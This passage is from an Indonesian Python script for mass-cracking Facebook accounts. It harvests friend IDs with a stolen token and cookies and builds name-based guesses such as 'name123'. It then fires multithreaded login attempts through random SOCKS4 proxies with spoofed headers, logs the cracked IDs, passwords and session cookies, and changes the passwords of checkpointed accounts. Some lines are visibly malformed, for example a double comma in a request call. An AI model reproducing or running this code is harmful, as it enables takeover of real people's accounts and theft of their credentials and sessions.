  440.                     link3=resUbah.find(
  441.                     "form",
  442.                     {"method":"post"}
  443.                     )
  444.                     but2=[
  445.                     "submit[Next]",
  446.                 "nh",
  447.             "fb_dtsg",
  448.                   "jazoest"
  449.                   ]
  450.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  451.                         for b in resUbah(
  452.                         "input"
  453.                         ):
  454.                             dat2.update(
  455.                             {b.get("name"):b.get("value")}
  456.                         )
  457.                         dat2.update(
  458.                         {
  459.                     "password_new":"".join(pwbaru)}
  460.                     )
  461.                         an=session.post(url+link3.get(
  462.                         "action"
  463.                     ),data=dat2)
  464.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  465.                         print(f"\r%s\x1b[1;92m Âŧ\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(hijo,puti,hijo,user,pwbaru[0],coki))
  466.                         open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s|%s\n" % (hijo,user,pwbaru[0],coki))
  467.                         #cek_apk(coki)
  468.                 else:
  469.                     print(f"\r%s\x1b[1;92m Âŧ \033[0makun one tab, silahkan anda login      "%(hijo))
  470.                     open('MBF-OK/MBF-OK.txt', 'a').write("%s %s|%s|%s\n" % (hijo,user,pw,coki))
  471.                     #cek_apk(coki)
  472.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  473.                 print(f"\r%s Âŧ \033[0m akun terpasang autentikasi dua faktor           "%(mer))
  474.             else:
  475.                 print(f"%s\x1b[1;92m Âŧ\033[0mterjadi kesalahan"%(mer))
  476.         else:
  477.             if "c_user" in session.cookies.get_dict():
  478.                 print(f"\r%s%s akun tidak checkpoint, silahkan anda login "%(hijo))
  479.                 open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s\n" % (hijo,user,pw))
  480.         for opsi in range(len(cek)):
  481.             number +=1
  482.             print(f"  %s%s. %s%s"%(puti,str(number),kun,cek[opsi]))
  483.     elif "login_error" in str(response):
  484.         oh = run.find(
  485.         "div",
  486.     {"id":"login_error"}).find("div").text
  487.         print(f"%s Âŧ %s"%(mer,oh))
  488.     else:
  489.         print(f"%s Âŧ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(mer))       
  490.  
  491. #----------[ CRACK-FILE ]----------#
  492. def krek_file():
  493.     try:vin = os.listdir('/sdcard/MBF-DUMP/')
  494.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  495.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File Dump, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  496.     else:
  497.         cih = 0
  498.         lol = {}
  499.         for isi in vin:
  500.             try:hem = open('/sdcard/MBF-DUMP/'+isi,'r').readlines()
  501.             except:continue
  502.             cih+=1
  503.             if cih<9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999:nom = ''+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"#AAAAAA"))
  504.             else:lol.update({str(cih):str(isi)});print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x);prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"#AAAAAA"))
  505.         hooh = input(f"[â€Ē] PILIH : ")
  506.         try:cuk = lol[hooh]
  507.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  508.         try:lin = open('/sdcard/MBF-DUMP/'+cuk,'r').read().splitlines()
  509.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  510.         for idz in lin:
  511.             id.append(idz)
  512.         atur_id()
  513.  
  514. #----------[ DUMP-FILE ]----------#    
  515. def dump_file():
  516.     try:
  517.         os.mkdir('/sdcard/MBF-DUMP')
  518.     except:
  519.          pass
  520.     try:
  521.         xyc = input(f"\n[â€Ē] MASUKAN ID : ")
  522.         xyd = input(f"[â€Ē] NAMA FILE DUMP : ")
  523.         xxr  = ('/sdcard/MBF-DUMP/' + xyd + '.txt').replace(' ', '_')
  524.         xxx = open(xxr, 'w')
  525.         token = open('.cyxieontoken.txt','r').read()
  526.         cok = open('.cyxieoncokies.txt','r').read()
  527.         coki = {"cookie":cok}
  528.         xnx = requests.get('https://graph.facebook.com/%s?fields=friends.limit(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)&access_token=%s'%(xyc,token),cookies=coki).json()
  529.         for xxn in xnx['friends']['data']:id.append(xxn['id']+'|'+xxn['name']);xxx.write(xxn['id']+'|'+xxn['name']+ '\n');print('\r[â€Ē] ID : %s '%(len(id)),end='');time.sleep(0.0050)
  530.         print(f"\n[â€Ē] Berhasil Dump Id Dari Publik")
  531.         print(f"[â€Ē] Salin Output File ( %s )"%(xxr))
  532.         exit()
  533.     except (KeyError,IOError):
  534.         os.remove(xxr)
  535.         prints(Panel.fit(f"%sGagal Dump Id Yang Anda Masukan Tidak Publik"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  536.        
  537. #----------[ HASIL-OK ]----------#            
  538. def hasil_ok():
  539.     try:vin = os.listdir('MBF-OK')
  540.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  541.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  542.     else:
  543.         print(f"{puti}╭────────────────────────────────────────────")
  544.         cih = 0
  545.         lol = {}
  546.         for isi in vin:
  547.             try:hem = open('MBF-OK/'+isi,'r').readlines()
  548.             except:continue
  549.             cih+=1
  550.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  551.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  552.         print(f"{puti}╭────────────────────────────────────────────")
  553.         geeh = input(f'{puti}└──[ Input file : ')
  554.         try:geh = lol[geeh]
  555.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  556.         try:lin = open('MBF-OK/'+geh,'r').read().splitlines()
  557.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  558.         nocp=0
  559.         for cpku in range(len(lin)):
  560.             cpkuni=lin[nocp].split('|')
  561.             tree = Tree("")
  562.             tree.add(f"{hijo}{cpkuni[0]}{puti}").add(f"{hijo}{cpkuni[1]}{puti}")
  563.             tree.add(f"{hijo}{cpkuni[2]}{puti}")
  564.             prints(tree)
  565.             nocp +=1
  566.         print(f"{puti}╭────────────────────────────────────────────")
  567.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  568.         menu()
  569.  
  570. #----------[ HASIL-CP]----------#            
  571. def hasil_cp():
  572.     try:vin = os.listdir('MBF-CP')
  573.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  574.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  575.     else:
  576.         print(f"{puti}╭────────────────────────────────────────────")
  577.         cih = 0
  578.         lol = {}
  579.         for isi in vin:
  580.             try:hem = open('MBF-CP/'+isi,'r').readlines()
  581.             except:continue
  582.             cih+=1
  583.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  584.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  585.         print(f"{puti}╭────────────────────────────────────────────")
  586.         geeh = input(f'{puti}└──[ Input file : ')
  587.         try:geh = lol[geeh]
  588.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  589.         try:lin = open('MBF-CP/'+geh,'r').read().splitlines()
  590.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  591.         nocp=0
  592.         for cpku in range(len(lin)):
  593.             cpkuni=lin[nocp].split('|')
  594.             tree = Tree("")
  595.             tree.add(f"{kun}{cpkuni[0]}{puti}").add(f"{kun}{cpkuni[1]}{puti}")
  596.             prints(tree)
  597.             nocp +=1
  598.         print(f"{puti}╭────────────────────────────────────────────")
  599.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  600.         menu()
  601.        
  602. #----------[ MENU-IDZ ]----------#     
  603. def atur_id():
  604.      rr = random.randint
  605.      for khusus_random in id:
  606.             cyxieon_id = rr(0,len(id2))
  607.             id2.insert(cyxieon_id, khusus_random)
  608.      atur_method()
  609.  
  610. #----------[ MENU-METHOD ]----------#                  
  611. def atur_method():
  612.      prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"#AAAAAA"))
  613.      xx = input(f"[â€Ē] METHOD : ")
  614.      if xx in ['1','01']:method.append('MBF01')
  615.      elif xx in ['2','02']:method.append('MBF02')
  616.      elif xx in ['3','03']:method.append('MBF03')    
  617.      elif xx in ['4','04']:method.append('MBF04')
  618.      elif xx in ['5','05']:method.append('MBF05')
  619.      elif xx in ['6','06']:method.append('MBF06')                        
  620.      else:
  621.           method.append('MBF01')
  622.      user_agent()
  623.  
  624. #----------[ USER-AGENT ]----------#              
  625. def user_agent():
  626.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  627.     uatambah = input(f'[â€Ē] PILIH : ')
  628.     if uatambah in ['y','Ya','ya','Y']:
  629.          uadia.append('ya')
  630.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  631.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  632.          uamu.append(mantap)
  633.     else:
  634.         uadia.append('no')
  635.     password()
  636.  
  637. #----------[ PASSWORD]----------#                  
  638. def password():
  639.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  640.     passwtamb = input(f'[â€Ē] PILIH : ')
  641.     if passwtamb in ['y','Y']:
  642.         sandine.append('ya')
  643.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  644.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  645.         sandimu = sandiku.split(',')
  646.         for sandixnxx in sandimu:
  647.              sandina.append(sandixnxx)       
  648.     else:
  649.         sandine.append('no')
  650.     otomatis()
  651.    
  652. #----------[ WORDLIST ]----------#              
  653. def otomatis():
  654.     global prog,des
  655.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  656.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  657.     des = prog.add_task('',total=len(id2))
  658.     with prog:
  659.         with tred(max_workers=30) as pool:
  660.             for akun in id2:
  661.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  662.                 depan = nama.split(" ")[0]
  663.                 pwx = []
  664.                 if len(nama)<=5:
  665.                     if len(depan)<=1 or len(depan)<=2:
  666.                         pass
  667.                     else:
  668.                         pwx.append(depan+"123")
  669.                         pwx.append(depan+"1234")
  670.                         pwx.append(depan+"12345")
  671.                         pwx.append(depan+"321")
  672.                 else:
  673.                     if len(depan)<=1 or len(depan)<=2:
  674.                         try:
  675.                             tengah = nama.split(" ")[1]
  676.                             if len(tengah)<=3:
  677.                                 pass
  678.                             else:
  679.                                 pwx.append(tengah+"123")
  680.                                 pwx.append(tengah+"1234")
  681.                                 pwx.append(tengah+"12345")
  682.                                 pwx.append(depan+"321")
  683.                                 pwx.append(nama)
  684.                         except:
  685.                             try:
  686.                                 belakang = nama.split(' ')[2]
  687.                                 if len(belakang)<=3:pass
  688.                                 else:
  689.                                     pwx.append(belakang+"123")
  690.                                     pwx.append(belakang+"1234")
  691.                                     pwx.append(belakang+"12345")
  692.                                     pwx.append(depan+"321")
  693.                                     pwx.append(nama)
  694.                             except:
  695.                                  pwx.append(nama)
  696.                     else:
  697.                         pwx.append(nama)
  698.                         pwx.append(depan+"123")
  699.                         pwx.append(depan+"1234")
  700.                         pwx.append(depan+"12345")
  701.                         pwx.append(depan+"321")
  702.                 if 'MBF01' in method:
  703.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  704.                 elif 'MBF02' in method:
  705.                     pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
  706.                 elif 'MBF03' in method:
  707.                     pool.submit(cracking03,idf,pwx,'m.facebook.com')
  708.                 elif 'MBF04' in method:
  709.                     pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
  710.                 elif 'MBF05' in method:
  711.                     pool.submit(cracking05,idf,pwx,'touch.facebook.com')
  712.                 elif 'MBF06' in method:
  713.                     pool.submit(cracking06,idf,pwx,'m.facebook.com')
  714.                 else:
  715.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  716.                    
  717.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  718.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  719.     prints(tree)
  720.     gas = input(f"[â€Ē] PILIH : ")
  721.     if gas in ['y','Y','ya','Ya']:
  722.         menu()
  723.     else:
  724.         tree = Tree("")
  725.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  726.         prints(tree)
  727.         time.sleep(2)
  728.         exit()
  729.  
  730. #----------[ MOBILE VALIDATE ]----------#                              
  731. def cracking01(idf,pwx,url):
  732.     global loop,ok,cp
  733.     ses = requests.Session()
  734.     rr = random.randint
  735.     rc = random.choice
  736.     emot = rc(["😝","😜","ðŸĪŠ"])
  737.     prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  738.     prog.advance(des)
  739.     for pw in pwx:
  740.         try:
  741.             if 'ya' in uadia: ua = uamu[0]
  742.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  743.             open('socksku.txt','w').write(proxs)
  744.             nip = rc(proxs)
  745.             proxs = {'http': 'socks4://'+nip}
  746.             ua = rc(ugen)
  747.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  748.             link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  749.             date = {
  750.         "lsd":
  751.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  752.         "jazoest":
  753.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  754.                "uid":idf,
  755.                "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
  756.                "flow":"login_no_pin",
  757.                "pass":pw,
  758.             }
  759.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])   
  760.             head = (
  761.             {
  762.             'Host': url,
  763.             'cache-control': 'max-age=0',
  764.             'dpr': f'{str(rr(1,5))}',
  765.             'viewport-width': f'{str(rr(400,999))}',
  766.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  767.             'sec-ch-ua-mobile': '?1',
  768.             'sec-ch-ua-platform': '"Android"',
  769.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  770.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  771.             'sec-ch-prefers-color-scheme': 'light',
  772.             'upgrade-insecure-requests': '1',
  773.             'origin': 'https://'+url,
  774.             'content-type': 'application/x-www-form-urlencoded',
  775.             'user-agent': ua,
  776.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  777.             'x-requested-with': 'com.facebook.katana',
  778.             'sec-fetch-site': 'same-origin',
  779.             'sec-fetch-mode': 'cors',
  780.             'sec-fetch-user': '?1',
  781.             'sec-fetch-dest': 'empty',
  782.             'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  783.             'accept-encoding': 'gzip, deflate, br',
  784.             'accept-language': 'id-ID,id;q=0.9'
  785.             }
  786.         )
  787.             #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
  788.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  789.             if "c_user" in ses.cookies.get_dict().keys():
  790.                 ok+=1
  791.                 cooz = ses.cookies.get_dict()
  792.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  793.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  794.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  795.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  796.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  797.                 prints(tree)
  798.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  799.                 break          
  800.             elif "checkpoint" in po.cookies.get_dict().keys():
  801.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  802.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  803.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  804.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  805.                 prints(tree)
  806.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  807.                 akune.append(idf+'|'+pw)
  808.                 ceker(idf,pw)
  809.                 cp+=1
  810.                 break  
  811.                
  812.             else:
  813.                 continue
  814.         except requests.exceptions.ConnectionError:
  815.             time.sleep(31)
  816.     loop+=1
  817.        
  818.    
  819. #----------[ MBASIC VALIDATE ]----------#                              
  820. def cracking02(idf,pwx,url):
  821.     global loop,ok,cp
  822.     ses = requests.Session()
  823.     rr = random.randint
  824.     rc = random.choice
  825.     emot = rc(["😝","😜","ðŸĪŠ"])
  826.     prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  827.     prog.advance(des)
  828.     for pw in pwx:
  829.         try:
  830.             if 'ya' in uadia: ua = uamu[0]
  831.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  832.             open('socksku.txt','w').write(proxs)
  833.             nip = rc(proxs)
  834.             proxs = {'http': 'socks4://'+nip}
  835.             ua = rc(ugen)
  836.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  837.             link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  838.             date = {
  839.         "lsd":
  840.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  841.         "jazoest":
  842.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  843.                "uid":idf,
  844.                "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
  845.                "flow":"login_no_pin",
  846.                "pass":pw,
  847.             }
  848.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])   
  849.             head = (
  850.             {
  851.             'Host': url,
  852.             'cache-control': 'max-age=0',
  853.             'dpr': f'{str(rr(1,5))}',
  854.             'viewport-width': f'{str(rr(400,999))}',
  855.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  856.             'sec-ch-ua-mobile': '?1',
  857.             'sec-ch-ua-platform': '"Android"',
  858.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  859.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  860.             'sec-ch-prefers-color-scheme': 'light',
  861.             'upgrade-insecure-requests': '1',
  862.             'origin': 'https://'+url,
  863.             'content-type': 'application/x-www-form-urlencoded',
  864.             'user-agent': ua,
  865.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  866.             'x-requested-with': 'com.facebook.katana',
  867.             'sec-fetch-site': 'same-origin',
  868.             'sec-fetch-mode': 'cors',
  869.             'sec-fetch-user': '?1',
  870.             'sec-fetch-dest': 'empty',
